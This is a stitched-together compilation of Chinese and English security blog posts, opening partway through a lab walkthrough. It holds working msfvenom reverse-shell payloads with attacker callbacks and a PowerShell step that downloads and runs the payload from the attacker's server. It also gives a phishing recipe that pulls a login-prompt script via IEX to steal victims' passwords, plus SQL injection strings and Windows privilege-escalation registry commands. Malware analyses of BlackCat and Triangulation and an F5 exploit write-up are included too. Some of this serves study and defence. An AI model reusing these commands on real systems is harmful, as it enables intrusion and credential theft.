-a x86 --encoder /x86/shikata_ga_nai LHOST=10.8.249.244 LPORT=1238 -f exe -o reverse.exe 之后开启http服务 python3 -m http.server 加载msf msfconsole use exploit/multi/handler #进入攻击模块 之后设置我们生成的ip和端口 show options set PAYLOAD windows/meterpreter/reverse_tcp set LHOST tun0 set LHOST tun0 set LPORT 1238 让后运行木马 run 因为Windows需要在powershell里运行 众所周知cmd和powershell不一样 所以我们需要转一下目录在靶机里运行我们msf生成的shell 移动到temp cd Windows cd Temp 让靶机下载我们的shell powershell Invoke-WebRequest -Uri http://10.8.249.244:8000/reverse.exe -Outfile reverse.exe 让后运行shell .\reverse.exe OK 看图,现在已经得到目标机器的权限了 查看系统版本信息: sysinfo 好的我们继续 使用国外大佬Winpeas脚本提权 好的 下面介绍一下winpeas,前期我们了解到linpeas是跑linux提权的,顾名思义,那么winpeas就是跑win机器提权的 winpeas下载: https://github.com/carlospolop/PEASS-ng/blob/master/winPEAS/winPEASbat/winPEAS.bat 传上去 powershell Invoke-WebRequest -Uri http://10.8.249.244:8000/winPEAS.bat -Outfile winPEAS.bat 好的那我们运行他吧 先shell在运行 大宝贝出现了 结果非常长 而且需要耗点时间 让我们先做题吧 给我们提示了 那我们进去一下 SystemScheduler应该是系统文件了 第一个事件应该是错误的地方 我们查看一下txt 石锤了 应该就是message.exe这个程序 我们在看一下winPEAS.bat 看我们发现了什么?(狂喜 远程admin 说明他很有可能开了3389端口 我们去扫一下看看 nmap -T4 -p 3000-4000 -Pn 10.10.201.235 果然开放了3389,我们去连接看一下 nnd,失败卡住了 3389rdp admin账号密码出来了,我们尝试去连接 失败了 Linux rdp连接也失败了 被阻断了 卡在这了。。我c 没做完 时间也到期了,重来一遍要耗点时间.. Windows渗透比linux难,目前Windows渗透我还不怎么会,这次没做完,下次更新继续做,这个房间确实有意思,但难度让我吃不消了
  7. 1.powershell网络钓鱼脚本: https://raw.githubusercontent.com/enigma0x3/Invoke-LoginPrompt/master/Invoke-LoginPrompt.ps1 2.MSF下生产一个后门文件,通过上传或者其他方式让其受害者点击 Msfvenom -p windows/meterpreter/reverse_https lhost = 192.168.1.138 lport = 4444 -f exe> /opt/bk.exe 2.通过MSF获取远程目标受害者主机的反弹shhell: msf> use multi/handler msf exploit(handler )> set payload windows/meterpreter/reverse_https msf exploit(handler )> set lhost 192.168.1.138 msf exploit(handler )> set lport 4444 msf exploit(handler )> exploit 3.powershel远程下载并执行: powershell.exe -ep bypass -c IEX ((New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/enigma0x3/Invoke-LoginPrompt/master/Invoke-LoginPrompt.ps1 ’)); Invoke-LoginPrompt 4.目标受害者远程登录: 5.一旦成功登录,即可在msf反弹shell中看到密码:
  8. (1)注入的分类 基于从服务器接收到的响应 ▲基于错误的SQL注入 ▲联合查询的类型 ▲堆查询注射 ▲SQL盲注 •基于布尔SQL盲注 •基于时间的SQL盲注 •基于报错的SQL盲注 基于如何处理输入的SQL查询(数据类型) •基于字符串 •数字或整数为基础的 基于程度和顺序的注入(哪里发生了影响) ★一阶注射 ★二阶注射 一阶注射是指输入的注射语句对WEB直接产生了影响,出现了结果;二阶注入类似存储型XSS,是指输入提交的语句,无法直接对WEB应用程序产生影响,通过其它的辅助间接的对WEB产生危害,这样的就被称为是二阶注入. 基于注入点的位置上的 ▲通过用户输入的表单域的注射。 ▲通过cookie注射。 ▲通过服务器变量注射。 (基于头部信息的注射) url编码:一般的url编码其实就是那个字符的ASCII值得十六进制,再在前面加个% 具体可以看http://www.w3school.com.cn/tags/html_ref_urlencode.html,这里可以查到每个字符的url编码,当然自己编程或者用该语言应该也有自带的函数,去实现url编码 常用的写出来吧: 空格是%20,单引号是%27, 井号是%23,双引号是%22 判断sql注入(显错和基于错误的盲注):单引号,and 1=1 和and 1=2,双引号,反斜杠,注释等 判断基于时间的盲注:在上面的基础上,加个sleep函数 ,如sleep(5) (函数不同数据库有所不同)例子: ' and sleep(5) " and sleep(5) (2)系统函数 常用函数: 1. version()——MySQL版本 2. user()——数据库用户名 3. database()——数据库名 4. @@datadir——数据库路径 5. @@version_compile_os——操作系统版本 (3) 字符串连接函数 函数具体介绍: http://www.cnblogs.com/lcamry/p/5715634.html concat(str1,str2,...)——没有分隔符地连接字符串 concat_ws(separator,str1,str2,...)——含有分隔符地连接字符串 group_concat(str1,str2,...)——连接一个组的所有字符串,并以逗号分隔每一条数据 (4) 一般用于尝试的语句 Ps:--+可以用#替换,url提交过程中Url编码后的#为%23 or 1=1--+ 'or 1=1--+ "or 1=1--+ )or 1=1--+ ')or 1=1--+ ") or 1=1--+ "))or 1=1--+ 一般的代码为: id=_GET['id']; $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; 此处考虑两个点,一个是闭合前面你的 ' 另一个是处理后面的 ' ,一般采用两种思路,闭合后面的引号或者注释掉,注释掉采用--+ 或者 #(%23) (5) union操作符的介绍 UNION 操作符用于合并两个或多个 SELECT 语句的结果集。请注意,UNION 内部的 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条 SELECT 语句中的列的顺序必须相同。 SQL UNION 语法 SELECT column_name(s) FROM table_name1 UNION SELECT column_name(s) FROM table_name2 注释:默认地,UNION 操作符选取不同的值。如果允许重复的值,请使用 UNION ALL。 SQL UNION ALL 语法 SELECT column_name(s) FROM table_name1 UNION ALL SELECT column_name(s) FROM table_name2 另外,UNION 结果集中的列名总是等于 UNION 中第一个 SELECT 语句中的列名。 (6)sql中的逻辑运算 提出一个问题Select * from users where id=1 and 1=1; 这条语句为什么能够选择出id=1的内容,and 1=1到底起作用了没有?这里就要清楚sql语句执行顺序了。 同时这个问题我们在使用万能密码的时候会用到。 Select * from admin where username='admin' and password='admin' 我们可以用 'or 1=1# 作为密码输入。原因是为什么? 这里涉及到一个逻辑运算,当使用上述所谓的万能密码后,构成的sql语句为: Select * from admin where username='admin' and password=''or 1=1#' Explain:上面的这个语句执行后,我们在不知道密码的情况下就登录到了admin用户了。 原因是在where子句后,我们可以看到三个条件语句 username='admin' and password=''or 1=1。三个条件用and和or进行连接。在sql中,我们and的运算优先级大于or的元算优先级。因此可以看到 第一个条件(用a表示)是真的,第二个条件(用b表示)是假的,a and b = false,第一个条件和第二个条件执行and后是假,再与第三个条件or运算,因为第三个条件1=1是恒成立的,所以结果自然就为真了。因此上述的语句就是恒真了。 ①Select * from users where id=1 and 1=1; ②Select * from users where id=1 && 1=1; ③Select * from users where id=1 & 1=1; 上述三者有什么区别?①和②是一样的,表达的意思是 id=1条件和1=1条件进行与运算。 ③的意思是id=1条件与1进行&位操作,id=1被当作true,与1进行 & 运算 结果还是1,再进行=操作,1=1,还是1(ps:&的优先级大于=) Ps:此处进行的位运算。我们可以将数转换为二进制再进行与、或、非、异或等运算。必要的时候可以利用该方法进行注入结果。例如将某一字符转换为ascii码后,可以分别与1,2,4,8,16,32.。。。进行与运算,可以得到每一位的值,拼接起来就是ascii码值。再从ascii值反推回字符。(运用较少) (7)注入流程 我们的数据库存储的数据按照上图的形式,一个数据库当中有很多的数据表,数据表当中有很多的列,每一列当中存储着数据。我们注入的过程就是先拿到数据库名,在获取到当前数据库名下的数据表,再获取当前数据表下的列,最后获取数据。 现在做一些mysql的基本操作。启动mysql,然后通过查询检查下数据库: show databases; 这个实验用到的数据库名为security,所以我们选择security来执行命令。 use security; 我们可以查看下这个数据库中有哪些表 show tables; 现在我们可以看到这里有四张表,然后我们来看下这张表的结构。 desc emails; 在继续进行前台攻击时,我们想讨论下系统数据库,即information_schema。所以我们使用它 use information_schema; 让我们来看下表格。 show tables; 现在我们先来查看表的结构: desc tables; 现在我们来使用这个查询: select table_name from information_schema.tables where table_schema = "security"; 使用这个查询,我们可以下载到表名。 Mysql有一个系统数据库information_schema,存储着所有的数据库的相关信息,一般的,我们利用该表可以进行一次完整的注入。以下为一般的流程。 猜数据库 select schema_name from information_schema.schemata 猜某库的数据表 select table_name from information_schema.tables where table_schema='xxxxx' 猜某表的所有列 Select column_name from information_schema.columns where table_name='xxxxx' 获取某列的内容 Select *** from **** 上述知识参考用例:less1-less4 ----------------------------------------------------------------------------------------------------------------------------------- 附录: 环境搭建: 1.从https://github.com/Audi-1/sqli-labs下载源代码。 2.将源代码复制到Apache webroot文件夹(htddocs,/var/www)。这里是用phpstudt搭建的环境,将其拷贝到D:\phpStudy\WWW目录下 3.打开sql-connections文件夹下的“db-creds.inc”文件 4.修改MySQL用户名和密码为你自己的。这里我本地mysql的数据库用户名和密码为root/root,因此将其db-ceds.inc的password改为root 5.打开浏览器,通过localhost的index.html访问文件夹。 6.点击setup/resetDB链接在你的mysql中创造数据库。 注: 如果有兴趣也可以通过视频进行学习,其下载地址为: http://pan.baidu.com/s/1bo7PMaV
  9. BlackCat运营商最近宣布对他们的工具进行更新,包括一个名为Munchkin的实用程序,它允许攻击者将BlackCat有效负载传播到远程设备和受害者组织网络上的共享。在过去的两年中,作为勒索软件即服务(RaaS)商业模式的一部分,BlackCat勒索软件运营商一直在不断发展和更新他们的工具。 在最新发现的样本中,Unit 42的研究人员获得了一个独特的Munchkin样本,因为它加载在自定义的Alpine虚拟机(VM)中。这种利用自定义虚拟机来部署恶意软件的新策略在最近几个月得到了越来越多的应用,允许勒索软件攻击者使用虚拟机来绕过部署恶意软件有效负载的安全解决方案。 本文详细介绍了这个新实用程序的攻击进程,并进一步阐明了BlackCat攻击者使用的持续策略。 BlackCat概述 BlackCat勒索软件于2021年11月首次被曝光。这种攻击因其恶意软件的复杂性以及使用Rust编程语言等独特方法而臭名昭著。 与其他勒索软件类似,BlackCat采用了RaaS商业模式,这种模式允许其他机构有偿利用他们的工具,使用机构会获得大约80-90%的赎金,其余的则交给运营商。 “BlackCat”组织及其使用机构历来把目标锁定在美国境内。然而,随着时间的推移以及受欢迎程度,攻击范围正在逐渐扩大,最近,人们发现BlackCat的目标是全球众多行业及其垂直行业的受害者。 BlackCat工具集多年来一直在不断发展。 原始版本仅提供了一个嵌入式JSON配置,并没有应用混淆或加密。 随着时间的推移,操作人员更新了恶意软件家族,以混淆这种底层配置。他们还需要一个唯一的命令行参数来执行恶意软件。在此过程中,BlackCat阻止了安全人员在此命令行参数不可用的情况下获得底层有效进行研究。 恶意软件家族一直在不断发展,攻击者采用了更多的功能和混淆机制。最近几个月,BlackCat发布了一个名为“Munchkin”的新工具。 该工具提供了运行Sphynx(最新的BlackCat变体)的基于linux的操作系统。攻击者可以使用此实用程序在远程设备上运行BlackCat,或将其部署到加密远程服务器消息块(SMB)或通用互联网文件共享(CIFS)。 Munchkin进程示意图 在实际运行中,使用虚拟机运行恶意软件是一种日益增长的趋势。据报道,其他勒索软件组织也利用了这种新策略。 这种方法的好处包括绕过主机操作系统上设置的任何安全控制或保护,例如防病毒软件。由于这些解决方案通常在嵌入式虚拟化操作系统中没有自省功能,恶意软件将经常绕过现有的任何检查。 在最近的调查中,Unit 42的研究人员能够获得这个VM实用程序的副本。因此,我们可以深入了解它是如何工作的。 攻击过程 Munchkin实用程序以ISO文件的形式提供,在VirtualBox虚拟化产品的新安装样本中加载。这个ISO文件代表了Alpine操作系统的自定义实现,攻击者可能会选择它,因为它占用空间小。操作系统启动后,会执行如下命令: 在此过程中,恶意软件最初将虚拟机的根密码更改为攻击者选择的密码。它随后通过内置的tmux实用程序生成一个新的终端会话,该实用程序用于执行名为controller的恶意软件二进制文件。恶意软件完成执行后,会关闭虚拟机。 控制器恶意软件与其他相关文件一起托管在/app目录中。此外,虚拟机操作系统中还包含其他相关且值得注意的文件。 虚拟机操作系统中包含的文件路径及有关描述 除了上面提到的文件,大量的Python脚本直接存在于/usr/bin中,BlackCat操作符可以在VM的后续更新中使用这些脚本。 攻击者可以使用上面的许多Python脚本进行横向移动、密码转储和在受害者网络上进一步执行恶意软件。 控制器恶意软件是用Rust编程语言编写的,其方式与BlackCat恶意软件家族非常相似。在执行时,控制器最初将使用唯一的单字节异或操作解密大量字符串。 运行时的字符串解密 在字符串被解密后,攻击者将执行基本检查,以确保预期的配置和有效负载文件驻留在/app目录中。然后,该攻击将反序列化并解析/app/config文件,如果这些文件不存在,或者如果它们无法被解析,恶意软件将自行退出并显示一条错误消息。 /app/config文件包含大量信息,包括控制器恶意软件样本随后使用的以下信息: 访问令牌; 任务标识符; 受害者凭据(包括用户名、密码和域); BlackCat受害者URL; 阻止列表的文件类型和路径; 要加密的目标主机和共享; 解析配置后,控制器创建并挂载/payloads/目录,用于托管随后创建的BlackCat样本。控制器使用前面提到的/app/payload作为模板来创建自定义的BlackCat样本。在模板文件中,控制器在修改该文件时查找并使用特定的标记。 基于模板和配置创建新的BlackCat示例 所创建的文件基于所提供的配置。但是,它们的命名如下,并带有增量值: /payloads/0 /payloads/1创建这些有效负载后,恶意软件继续遍历所提供的配置,目的是感染指定的任何SMB/CIFS驱动器。这些尝试在写入STDOUT的各种输出中进行了概述,其示例如下所示。 注:实际的IP地址和共享名称已在下面的输出中进行了编辑。 恶意软件完全执行后,虚拟机将关闭电源,不再执行进一步的操作。 研究人员发现以下消息嵌入到恶意软件样本中,但未使用,它可能在开发的某个阶段被包括在内,但后来又被取消。 这条消息似乎是BlackCat的开发者给他们的使用组织的一条消息,敦促他们从不安全的环境中删除这个文件。看来使用组织并没有听从这一建议。 总结 恶意软件的开发者,特别是那些背后的BlackCat勒索软件使用者,继续更新和发展他们的技术和战术,这一点在他们最近发布的“Munchkin”中得到了充分体现。 恶意工具利用虚拟机来阻止主机上存在的安全管理功能,并反检测方面领先于安全防护。
  10. Windows environments provide a group policy setting which allows a regular user to install a Microsoft Windows Installer Package (MSI) with system privileges. This can be discovered in environments where a standard user wants to install an application which requires system privileges and the administrator would like to avoid to give temporary local administrator access to a user. From the security point of view this can be abused by an attacker in order to escalate his privileges to the box to SYSTEM. Identification Lets assume that we have already compromised a host inside the network and we have a Meterpreter session. Meterpreter Session – Normal user The easiest method to determine if this issue exist on the host is to query the following registry keys: reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated Query the registry to identify the issue Privilege Escalation with Metasploit The easiest and the fastest way to escalate privileges is via the Metasploit Framework which contains a module that can generate an MSI package with a simple payload that it will be executed as SYSTEM on the target host and it will be removed automatically to prevent the installation of being registered with the operating system. Exploitation of Always Install Elevated with Metasploit Generate MSI Package with PowerSploit PowerSploit framework contains a script that can discover whether this issue exist on the host by checking the registry entries and another one that can generate an MSI file that will add a user account into the local administrators group. PowerSploit – Always Install Elevated Adding an account into Administrators group The verification that this user has been added into the local administrator group can be done by running the “net localgroup administrators” command from the command prompt. Verification that the “backdoor user has been created Conclusion Metasploit Framework can be used as well to generate MSI files however the payload will be executed under the privileges of the user running it which in most of the cases it shouldn’t be the administrator. Therefore the PowerSploit script was the only reliable solution to escalate privileges properly. In order to mitigate this issue the following settings should be disabled from the GPO: Computer Configuration\Administrative Templates\Windows Components\Windows Installer User Configuration\Administrative Templates\Windows Components\Windows Installer GPO -Always Install With Elevated Privileges Setting GPO – Always Install with Elevated Privileges Setting
  11. 0x01 前言 F5 BIG-IP广域流量管理器是一种网络流量管理设备,用于提升链路性能与可用性。F5在金融行业具有特别广泛的使用量,做过各大银行攻防演练的小伙伴对这个系统应该不会陌生。 最近爆出的CVE-2023-46747漏洞能达到远程RCE的效果,属于严重级别的安全漏洞。有意思的是这个漏洞和“AJP请求走私”有关。本文将对请求走私漏洞和CVE-2023-46747做一个详细介绍和分析。 0x02 AJP请求走私介绍 较早出现的AJP请求走私漏洞是CVE-2022-26377,关于该漏洞的详细信息已经有作者进行过分析,感兴趣的读者可以查看原文https://www.ctfiot.com/44809.html,这里我们关注的是AJP请求走私漏洞的危害。 AJP请求走私漏洞影响Apache Httpd < 2.4.54,注意这里直接受影响的并不是tomcat,所以并不是所有的java网站都受请求走私漏洞的影响,而是只有启用了httpd服务的网站才受此漏洞影响,类似于现在前后端分离中nginx服务的作用。在F5 BIG-IP中启动的WEB服务的架构如图2.1所示,并且在F5-BIG-IP中的httpd版本2.2.15,受CVE-2022-26377漏洞影响。 图2.1 F5 BIG-IP中的WEB服务架构 图2.2 F5 BIG-IP中的httpd版本 AJP请求走私漏洞并不是一个高危漏洞,在各个CVSS评分在6.5-7.5之间,所以一直没有受到我的关注,只是觉得这是一个仅供研究没有实际意义的理论漏洞。在这次F5 BIG-IP的RCE漏洞爆出之后,我才重新对这个漏洞进行研究。关于此漏洞的详细理论可以参考上面的文章,这里主要总结下面的几个关键点: 1) 浏览器并不能直接发送AJP协议的数据包,需要依赖于Apache的 proxy_ajp 模块进行反向代理,暴露成 HTTP 协议给客户端访问。 2) AJP协议对于POST类型的HTTP请求会分成 header 和 body 两个数据包发送,由于处理body数据时,其中前面四位固定格式与Forward Request 数据包完全一样,导致本来应该是一个数据包body部分的数据,可能在进行AJP转发时被识别为另一个数据包。这也是AJP请求走私的本质原理和危害,如图2.3所示。 3) AJP请求走私时需要使用Transfer-Encoding: a, chunked 进行分块传输。 图2.3 AJP请求走私流程 从图2.3可以看出,整个AJP请求走私的流程是可以把一个HTTP请求经过AJP代理转化之后转化为两个AJP请求,这也是请求走私名字的来源。 0x03 CVE-2023-46747漏洞分析 经过0x02的分析已经对AJP请求走私有了初步的了解,但是实际上还是很难看出这样的漏洞能导致RCE效果。 从官方对这个漏洞的描述中可以看出,此漏洞仅影响开放了TNUI接口的系统(F5 BIG-IP默认启用),这是因为在/config/httpd/conf.d/proxy_ajp.conf文件中定义了AJP代理的配置,其中只会对tmui相关接口进行代理,如图3.1所示。 图3.1 TMUI接口中的AJP代理配置 如图2.1所示,httpd服务监听的IP是0.0.0.0,所以是可以被外网用户直接访问到的,httpd提供反向代理的功能,把请求转发到tomcat java监听的80端口。最初看到这个漏洞的时候,我一直在java代码中寻找鉴权的逻辑,以图找到通过AJP请求走私绕过鉴权的方式,但是找了很久都没有找到,甚至我在F5的JAVA代码中没有找到任何的Filter。后来在翻阅F5的历史漏洞分析文章中才看到原来F5的鉴权并不在JAVA代码中,而是在httpd模块中。 F5实现了自己的pam进行认证,模块路径为/usr/lib/httpd/modules/,其中,涉及到login.jsp授权的是mod_f5_auth_cookie.so文件。反汇编之后,大概是这样的。我们能够请求/tmui/login.jsp而不需要进行身份验证。 图3.2 访问/tmui/login.jsp不需要授权 如果直接访问其他jsp文件,在没有通过身份验证的情况下,会被重定向到/tmui/login.jsp 图3.3访问其它页面需要授权 这也就说明在CVE-2023-46747漏洞的POC利用脚本中通过访问/tmui/login.jsp(这个页面是不需要授权,又可以进行AJP请求转化的页面),在body中添加AJP请求走私的内容,就可以达到绕过鉴权的效果。 poc地址: https://www.ddpoc.com/poc/DVB-2023-5391.html 在使用的时候注意,部分BurpSuite会去掉Transfer-Encoding头,自动从分块传输转化为普通传输导致检测失败,所以在使用的过程中尽量不要使用Burp代理,如果非要抓包可以使用Charles,如图3.4所示。 图3.4 使用Burp代码导致检测失败 去掉Burp代理之后,在Charles中可以看到正常的Chunked请求体和请求头,并且运行成功之后可以执行命令,如图3.5所示。 图3.5 通过POC可以正常绕过权限添加用户并执行命令 关于绕过权限之后F5 BIG-IP执行命令的逻辑在F5历史漏洞CVE-2022-1388中已经使用过,其实F5 BIG-IP本身就提供了接口/mgmt/tm/util/bash为后台用户执行系统命令的,有兴趣的读者也可以看https://mp.weixin.qq.com/s/wUoBy7ZiqJL2CUOMC-8Wdg了解详细的创建用户和后台命令执行的逻辑。 0x4 结论 CVE-2023-46747算是请求走私漏洞的典型应用场景,把一个中低危的漏洞放在特定的场景中放大危害造成RCE效果,整个利用过程就像是为AJP请求走私量身定制一样。 首先,F5 BIG-IP使用httpd来转发前端用户请求,并且对特定接口/tmui/*开启AJP请求转发功能。 其次,F5 BIG-IP的用户鉴权逻辑在httpd的so文件中实现,而不是在java代码中是实现。甚至在后端的java代码中没有任何鉴权逻辑,导致只要请求转发到后端java代码则可以访问到。通过AJP请求走私可以把一个隐私的添加用户的请求隐藏在未授权接口/tmui/login.jsp请求中,导致绕过了F5鉴权的逻辑把添加用户的请求转发到后端java代码。 最后,添加的用户在后台可以直接命令执行导致RCE效果。 参考: https://mp.weixin.qq.com/s/wUoBy7ZiqJL2CUOMC-8Wdg https://github.com/W01fh4cker/CVE-2023-46747-RCE https://www.ctfiot.com/44809.html https://blog.csdn.net/weixin_39541693/article/details/111112257
  12. In Windows environments when a service is registered with the system a new key is created in the registry which contains the binary path. Even though that this escalation vector is not very common due to the fact that write access to the services registry key is granted only to Administrators by default however it should not be omitted by the penetration tester as another possible check. The process of privilege escalation via insecure registry permissions is very simple. Registry keys for the services that are running on the system can be found in the following registry path: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services If a standard user has permissions to modify the registry key “ImagePath” which contains the path to the application binary then he could escalate privileges to system as the Apache service is running under these privileges. ImagePath Registry Key The only thing that is required is to add a registry key that will change the ImagePath to the location of where the malicious payload is stored. meterpreter > shell Process 1812 created. Channel 1 created. Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Users\pentestlab\Desktop>reg add "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Apache" /t REG_EXPAND_SZ /v ImagePath /d "C:\xampp\pentestlab2.exe" /f reg add "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Apache" /t REG_EXPAND_SZ /v ImagePath /d "C:\xampp\pentestlab2.exe" /f The operation completed successfully Registry ImagePath Modification The next time that the service will restart, the custom payload will be executed instead of the service binary and it will return back a Meterpreter session as SYSTEM. Privilege Escalation via Insecure Registry Permissions
  13. Windows by default are vulnerable to several vulnerabilities that could allow an attacker to execute malicious code in order to abuse a system. From the other side patching systems sufficiently is one of the main problems in security. Even if an organization has a patching policy in place if important patches are not implemented immediately this can still give short window to an attacker to exploit a vulnerability and escalate his privileges inside a system and therefore inside the network. This article will discuss how to identify missing patches related to privilege escalation and the necessary code to exploit the issue. Discovery of Missing Patches The discovery of missing patches can be identified easily either through manual methods or automatic. Manually this can be done easily be executing the following command which will enumerate all the installed patches. wmic qfe get Caption,Description,HotFixID,InstalledOn The output will be similar to this: Enumeration of Installed Patches The HotFixID can be used in correlation with the table below in order to discover any missing patches related to privilege escalation. As the focus is on privilege escalation the command can be modified slightly to discover patches based on the KB number. wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB3136041" /C:"KB4018483" Alternatively this can be done automatically via Metasploit, Credential Nessus Scan or via a custom script that will look for missing patches related to privilege escalation. Metasploit There is a Metasploit module which can quickly identify any missing patches based on the Knowledge Base number and specifically patches for which there is a Metasploit module. post/windows/gather/enum_patches Metasploit – Patches Enumeration Windows Exploit Suggester Gotham Digital Security released a tool with the name Windows Exploit Suggester which compares the patch level of a system against the Microsoft vulnerability database and can be used to identify those exploits that could lead to privilege escalation. The only requirement is that requires the system information from the target. Windows Exploit Suggester PowerShell There is also a PowerShell script which target to identify patches that can lead to privilege escalation. This script is called Sherlock and it will check a system for the following: MS10-015 : User Mode to Ring (KiTrap0D) MS10-092 : Task Scheduler MS13-053 : NTUserMessageCall Win32k Kernel Pool Overflow MS13-081 : TrackPopupMenuEx Win32k NULL Page MS14-058 : TrackPopupMenu Win32k Null Pointer Dereference MS15-051 : ClientCopyImage Win32k MS15-078 : Font Driver Buffer Overflow MS16-016 : ‘mrxdav.sys’ WebDAV MS16-032 : Secondary Logon Handle CVE-2017-7199 : Nessus Agent 6.6.2 – 6.10.3 Priv Esc The output of this tool can be seen below: Sherlock – Missing Patches Sherlock – Identification of Privilege Escalation Patches Privilege Escalation Table The following table has been compiled to assist in the process of privilege escalation due to lack of sufficient patching. Operating SystemDescriptionSecurity BulletinKBExploit Windows Server 2016 Windows Kernel Mode Drivers MS16-135 3199135 Exploit Github Windows Server 2008 ,7,8,10 Windows Server 2012 Secondary Logon Handle MS16-032 3143141 GitHub ExploitDB Metasploit Windows Server 2008, Vista, 7 WebDAV MS16-016 3136041 Github Windows Server 2003, Windows Server 2008, Windows 7, Windows 8, Windows 2012 Windows Kernel Mode Drivers MS15-051 3057191 GitHub ExploitDB Metasploit Windows Server 2003, Windows Server 2008, Windows Server 2012, 7, 8 Win32k.sys MS14-058 3000061 GitHub ExploitDB Metasploit Windows Server 2003, Windows Server 2008, 7, 8, Windows Server 2012 AFD Driver MS14-040 2975684 Python EXE ExploitDB Github Windows XP, Windows Server 2003 Windows Kernel MS14-002 2914368 Metasploit Windows Server 2003, Windows Server 2008, 7, 8, Windows Server 2012 Kernel Mode Driver MS13-005 2778930 Metasploit ExploitDB GitHub Windows Server 2008, 7 Task Scheduler MS10-092 2305420 Metasploit ExploitDB Windows Server 2003, Windows Server 2008, 7, XP KiTrap0D MS10-015 977165 Exploit ExploitDB GitHub Metasploit Windows Server 2003, XP NDProxy MS14-002 2914368 Exploit ExploitDB ExploitDB Github Windows Server 2003, Windows Server 2008, 7, 8, Windows Server 2012 Kernel Driver MS15-061 3057839 Github Windows Server 2003, XP AFD.sys MS11-080 2592799 EXE Metasploit ExploitDB Windows Server 2003, XP NDISTAPI MS11-062 2566454 ExploitDB Windows Server 2003, Windows Server 2008, 7, 8, Windows Server 2012 RPC MS15-076 3067505 Github Windows Server 2003, Windows Server 2008, 7, 8, Windows Server 2012 Hot Potato MS16-075 3164038 GitHub PowerShell HotPotato Windows Server 2003, Windows Server 2008, 7, XP Kernel Driver MS15-010 3036220 GitHub ExploitDB Windows Server 2003, Windows Server 2008, 7, XP AFD.sys MS11-046 2503665 EXE ExploitDB
  14. 在之前关于Triangulation的介绍文章中,研究人员讨论了TriangleDB的细节,这是这次活动中使用的主要植入程序,使它的C2协议和它可以接收命令。除其他事项外,它还能够执行其他模块。另外,这次活动是相当隐蔽的。 本文详细介绍了该活动是如何进行隐蔽攻击的。在此过程中,研究人员还将揭示有关此攻击中使用组件的更多信息。 验证组件 在之前的文章中,研究人员概述了Triangulation活动攻击链:设备接收恶意iMessage附件,启动一系列漏洞利用,其执行最终导致启动TriangleDB植入。攻击链可以用下图来概括: 除了TriangleDB植入的漏洞和组件外,攻击链还包含两个“验证器”阶段,即“JavaScript验证器”和“二进制验证器”。这些验证器收集有关受害设备的各种信息,并将其发送到C2服务器。然后,这些信息被用来评估植入TriangleDB的iPhone或iPad是否可以作为研究设备。通过执行这样的检查,攻击者可以确保他们的零日漏洞和植入程序不会被阻止。 JavaScript验证器 在攻击链的开始,受害者会收到带有零点击漏洞的不可见iMessage附件。此漏洞的最终目标是在backupabbit[.]com域上默默地打开一个唯一的URL。该URL上托管的HTML页面包含NaCl密码库的模糊JavaScript代码,以及加密的有效负载。这个负载是JavaScript验证器。该验证程序执行许多不同的检查,包括不同的算术运算,如Math.log(-1)或Math.sqrt(-1),Media Source API、WebAssembly等组件的可用性。 如上所述,它通过使用WebGL在粉色背景上绘制一个黄色triangle并计算其校验和来执行一种名为Canvas Fingerprint的指纹技术: 绘制triangle的代码 绘制的triangle 事实上,正是这个triangle,研究人员把整个活动称为Triangulation活动。 运行验证器后,它会对所有收集到的信息进行加密,并将其发送到backuplabbit[.]com上的另一个唯一URL,以便接收攻击链的下一阶段。 二进制验证器 正如从攻击链图中看到的,这个验证器在部署TriangleDB植入程序之前启动。JavaScript验证器是一个脚本,与之相反,这个验证器是一个Mach-O二进制文件(因此得名binary Validator)。启动时,它使用AES解密其配置。这个配置是一个plist: 此列表包含必须由验证器执行的操作列表(如DeleteLogs、DeleteArtifacts等)。具体地说: 1.从/private/var/mobile/Library/ logs /CrashReporter目录中删除可能在利用过程中创建的崩溃日志; 2.在各种数据库(如ids-pub-id.db或knowledgeec .db)中搜索恶意iMessage附件的痕迹,然后删除它们。为了能够做到这一点,验证器的配置包含40个用于发送恶意imessage的Apple id的MD5哈希值。研究人员成功破解了大部分哈希值,从而获得了攻击者控制的苹果ID电子邮件地址列表: 3.获取在设备上运行的进程列表以及网络接口列表; 4.检查目标设备是否已越狱。验证器实现了对各种越狱工具的检查,如Pangu、xCon、Evasion7、Electra、unc0ver、checkra1n等; 5.打开个性化广告跟踪; 6.收集有关受害者的广泛信息,如用户名,电话号码,IMEI和苹果ID; 7.检索已安装应用程序的列表。 有趣的是,验证器在iOS和macOS系统上都实现了这些操作: 研究人员还发现,验证器实现了一个未使用的操作,攻击者将其称为PSPDetect。 这个操作从验证器的配置中检索一个文件列表(对于研究人员分析的验证器配置,这个列表是空的),检查它们是否存在于文件系统中,并产生一个找到的文件列表作为输出。 此操作名称中的缩写PSP可能意味着“个人安全产品(personal security product)”,或者更简单地说,是一种安全解决方案。因此,有可能在macOS设备上启动此操作,以检测已安装的杀毒软件。 执行完所有这些操作后,验证器加密并将获得的数据(进程列表、用户信息等)发送到C2服务器。作为响应,服务器返回研究人员之前描述过的TriangleDB植入。 在日志中找到线索 “Triangulation活动”背后的攻击者不仅通过在攻击链中引入两个验证者来进行隐形操作。事实上,他们对TriangleDB植入程序的所有操作都非常小心。这可以从研究人员对攻击者通过该植入程序向受攻击设备发送的命令的分析中观察到。 在植入与C2服务器建立通信并发送指令之后,它从C2服务器接收多个CRXShowTables和CRXFetchRecord命令。这些命令与可能显示攻击链和恶意软件本身痕迹的日志检索有关。检索到的一些文件有: 1.崩溃日志(Crash log )文件(例如/var/mobile/Library/Logs/CrashReporter); 2.数据库文件(例如/private/var/mobile/Library/IdentityServices/ids-gossip.db)。这些数据库文件可能包含攻击者用来发送恶意iMessage的Apple ID。 